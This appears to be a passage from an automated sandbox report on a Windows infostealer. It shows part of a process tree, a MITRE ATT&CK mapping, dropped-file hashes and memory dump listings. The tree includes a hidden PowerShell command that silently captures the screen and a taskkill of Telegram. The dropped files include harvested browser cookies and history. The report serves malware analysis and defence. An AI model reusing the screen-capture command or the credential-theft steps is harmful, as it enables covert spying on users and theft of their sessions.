      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Telegram.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2400

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2464

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

lxts6kz97n.zip

Path C:\Users\Admin\AppData\Local\3eeefc2aa7e9fe47\lxts6kz97n.zip
Size 7.2MB
SHA256 67a347e53d98c28637bae4eba30b7b312ccf1efd0a4293b680061adc5d32cf7d
MD5 b11f887e1a725852733f2ecd2efb030b
SHA1 6ef30bc37607ca73e61fd4bb845c0def8ada0b78
SHA512 7ed06857f7e5cd3be7a55b420079a24f9a9956cd5e180dafee59f177cfe1d3e242d09fd20c998a61aae957c846cb68b1ccb234de49b46db78eefe7580252e4db
SSDEEP 196608:2SaOz5nTPjxt5D76Pd/s4tN1FMqQGiltpRfLcl:VJVfU/NtN1FnQGEPRDcl
TLSH
T1F27633D33900B8F3D64069BFB2AA19505082922D6FB5D1D19F80A62DE3FD8B13E1D5BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7abffca66245efa6c9c425a2bcde1d00c5530b4ec20b67190d1512cc828850c6
MD5 09e329dceb6834356dcde99337502914
SHA1 29e638340209c50f0b90884580a94bc7bb71f190
SHA512 f43412351598ed8bdc0c49fec61dd96f546ebdfc828ab3bad89096ae54e00bf191a312dac266aa82a4b58e377378d7c472ad319a75600522250c2e8ae717e5e4
TLSH
T159117633B79CC138C8D915BA5088AD11B1B1C7C7009EDE8F7B84C119E67F99AEB646E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b4a3b1f2715b929513b5c2bc4834fc77b0b2fd1416012ad522617b48cb3041b2
MD5 a303fe1a2f9ff11a55d664be374b5b28
SHA1 2ffabc61eb1dcf59e49339d36e1f2f8c86b92c19
SHA512 1e85a53b10926f2c513a4559b74c7f701c3424ab56441b849c4095e408d4ab46b55c30e08cd07d30abac37c0e93a3d5082a6942cd665dd52607241e547c4cfe8
TLSH
T17B218633B79CC174C899017A548DAD01B2B5C3CB049EDECB7A84C108E67F989DBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
MD5 00a393b7ba301744fef3e6a7618aa4b7
SHA1 1e59132dfae5fc1b1f8cfdbd3b0aa281903ff743
SHA512 af1c75b62ab48ea5be32ba7ddca5e8f5afed1aba52a9f0fa8f7133b71f7fd3010b13f0dc692e218eac1057d4dcbcfdfa8b2a4ce284c246d9845819ea88b63516
TLSH
T18B218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1xsbqqfz.mu3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1xsbqqfz.mu3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

firefox_cookies_temp.sqlite

Path C:\Users\Admin\AppData\Local\Temp\firefox_cookies_temp.sqlite
Size 96KB
SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
MD5 6066c07e98c96795ecd876aa92fe10f8
SHA1 f73cbd7b307c53aaae38677d6513b1baa729ac9f
SHA512 7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7
SSDEEP 12:DQnD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQnS232mNVpP965RayKN0MG/lO
TLSH
T192A3DD826B781395C44701B2FCB0565E0D3CA23849272B55AC39B0B30CD6A438A329FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

firefox_history_temp.sqlite

Path C:\Users\Admin\AppData\Local\Temp\firefox_history_temp.sqlite
Size 5.0MB
SHA256 98e9dae306c3642a20a3f1406168a3047164b7e29f27370989886a01a450070a
MD5 00f182b6b8f9496ec8fbf5970ae470c9
SHA1 27fd2386693d92051fd01a106eddf2f50a4bf058
SHA512 44f798f409d6ba18dae49895427c36c3e2f8d77002efe6411147895982f4f8c11f9132ec5ed279ffde54487f06bd4e625a61e9fcc1adfa32913ea8528f175ce2
SSDEEP 96:D4k1e/wAaF8M9Te9kjQruHtZroSzPFRPRYoa5Af22iV7qIsFw2iwRI7c2xfXsZ8q:M8rJQaXoMXp0VW9FxWHdhSsHvYYnZE
TLSH
T12236121F7A201150D4DAA132ADE36F16283F70168A3776933E94256D4ED0763B92DCBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chromelevator.exe

Path C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
Size 2.1MB
SHA256 d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21
MD5 d2aa58c68f360a5d66d3e48252f46fd1
SHA1 e623539b5123dceab124e10949e182a6bd45d4eb
SHA512 270a8cf341c0fa33f9c9f3d039798d24931f6647d61ab432eb1b5bda0363781f2ae6858bcce07f89bad708228e0e5709996985b9ec0bed4c4b35ff6626cc238f
SSDEEP 49152:3EBfviDsP8+vG5+At/pjjGRyQs8j2yuJQ2O2eu:MWL+vIt/pghsO2p7
TLSH
T161A5E156A3B440FCD0B7D2B4CA464A0BDFB2F8061635969F43D44E562F23B729A3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cookies.json

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.json
Size 350B
SHA256 532cfa5080063063d69512c403a68a98e16af2b23858a73b095e80f5b1f67b23
MD5 f72e41fd3b12c903d7f29d8f1d11665c
SHA1 7afd45f5d7f47d523dce6bb53918e756a6a34b24
SHA512 909e2b965bce0be0f01a61923f5bce22f4e8ea911ad8fd36b13531fd3c88d8bedac4e517f1d0ac177ec86dfa78823d4429d7b3e0cb1167837812c4b135ab02ee
TLSH
T149E0C0C624DA645DC8119129AE2106AF2A39661202B4BE58C826F8480791DA8261A0D6
MD5 SHA1 SHA512 TLSH

Submit Download

cookies.txt

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.txt
Size 377B
SHA256 60519a4ed04e509a7280e62d92c443c567376e9b7ef2e0b7049bbc4d0a98b081
MD5 56317af83a14bb587e6f222f8609cfd3
SHA1 61b9371d98080d21579265276688f9b0c1071d7b
SHA512 5677f0966c753651bc1660f9e92d3270bc8926a6c5ef710ec6736ee57f3c2bcb3b13bff510d8b30b2936ce831980b25c50cd41e460e16744454107c863b8f49c
TLSH
T17FE0F887302BA04C0228C109AA6240BB4F2A1A0213A8A320C912BA1913C5CE82E8C1EA
MD5 SHA1 SHA512 TLSH

Submit Download

history.json

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\8bpv94fp.default-release\history.json
Size 489B
SHA256 50e93456521da9260e9690d50096bc4addcefaeb9fb17c0c45f0bb5e73a3957a
MD5 9035ebdb43c218ebe24ea83d4e5b288e
SHA1 64e9fe08b96122cde02821b6509bba960ada71b2
SHA512 32f55cb800a0a20dd523a680418379a013ddbaa7e4fd752bcefa3dca5e2d784f5c350358e4e2eecafadd8d858cb813a8b7b9ecfe6072718a231c1402df9957fd
TLSH
T176F027B621F928220B8C5B80748B112B64CFFB4ADED215B6D644FCA882BCBD043D814D
MD5 SHA1 SHA512 TLSH

Submit Download

history.txt

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\8bpv94fp.default-release\history.txt
Size 522B
SHA256 6c888875b35893d0eb2b751eebd0242e08c8bab3a8d3a5828419c87212864c8a
MD5 a5981cbbb0a04573a4259c076492df84
SHA1 45cf6bb73736aa132e267ea36080f072afa91eae
SHA512 717182c9bd4f33a0075f3bc46a7a6c59a204dcd3a05aceca456e12664f0a118b27ed2529314b2893a89f98d21d0c911c3d5925e1aad0be492038de2ea4c990f5
TLSH
T1C3F05963A227511A0F46C7E932026B47308FD3488D9DA446B4CB2873C89FB28C0EA60E
MD5 SHA1 SHA512 TLSH

Submit Download

system_check_1778252508032.vbs

Path C:\Users\Admin\AppData\Local\Temp\system_check_1778252508032.vbs
Size 233B
SHA256 9e24f5f81cac17d844c25f6d7dcf13b924f97150acb05b733509a57497fceb29
MD5 fd7a3c0ef60f299c98ae8ecfae8223fb
SHA1 01b17cab67101d1300309cf494a16e3ea0f82880
SHA512 2aff38e196322fe9eef07318430dc8e1fa70394330f42265c109cba3f27f67d19934b91007fa069daebd8f495cc435543eec246bbefdf332b15d21457260cf04
TLSH
T1E0D0A722DDD8C465159C52E292E58D1C9B29CA94725BDC5B8F9290CF720E171CB7421F
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1300-4-0x000001FEA3FC0000-0x000001FEA415A000-memory.dmp

Download

memory/1612-151-0x0000020E4B330000-0x0000020E4B342000-memory.dmp

Download

memory/1612-150-0x0000020E32DB0000-0x0000020E32DBC000-memory.dmp

Download

memory/1712-147-0x00000161CD850000-0x00000161CD862000-memory.dmp

Download

memory/1712-146-0x00000161B3A20000-0x00000161B3A2C000-memory.dmp

Download

memory/1712-144-0x00000161CDD70000-0x00000161CDDC0000-memory.dmp

Download

memory/1888-221-0x0000029530C20000-0x0000029530C32000-memory.dmp

Download

memory/1888-220-0x0000029530B00000-0x0000029530B0C000-memory.dmp

Download

memory/1888-219-0x000002952F050000-0x000002952F1EA000-memory.dmp

Download

memory/2124-13-0x00000152C9A50000-0x00000152C9A5C000-memory.dmp

Download

memory/2312-3-0x0000011982930000-0x0000011982ACA000-memory.dmp

Download

memory/2400-55-0x000001BE353F0000-0x000001BE3558A000-memory.dmp

Download

memory/2464-53-0x00000255C6280000-0x00000255C641A000-memory.dmp

Download

memory/3940-98-0x0000020BAC530000-0x0000020BAC542000-memory.dmp

Download

memory/3940-97-0x0000020BAA920000-0x0000020BAA92C000-memory.dmp

Download

memory/3940-96-0x0000020BAA670000-0x0000020BAA80A000-memory.dmp

Download

memory/4136-33-0x00000169D3C60000-0x00000169D3C7A000-memory.dmp

Download

memory/4136-15-0x00000169D3610000-0x00000169D3632000-memory.dmp

Download

memory/4136-28-0x00000169D38B0000-0x00000169D38CC000-memory.dmp

Download

memory/4136-29-0x00000169D38D0000-0x00000169D3983000-memory.dmp

Download

memory/4136-30-0x00000169D3AA0000-0x00000169D3AAA000-memory.dmp

Download

memory/4136-31-0x00000169D3C20000-0x00000169D3C3C000-memory.dmp

Download

memory/4136-32-0x00000169D3C00000-0x00000169D3C0A000-memory.dmp

Download

memory/4136-41-0x00000169D38A0000-0x00000169D38A8000-memory.dmp

Download

memory/4136-40-0x00000169BB3B0000-0x00000169BB3C2000-memory.dmp

Download

memory/4136-39-0x00000169B9750000-0x00000169B975C000-memory.dmp

Download

memory/4136-36-0x00000169D3C50000-0x00000169D3C5A000-memory.dmp

Download

memory/4136-35-0x00000169D3C40000-0x00000169D3C46000-memory.dmp

Download

memory/4136-34-0x00000169D3C10000-0x00000169D3C18000-memory.dmp

Download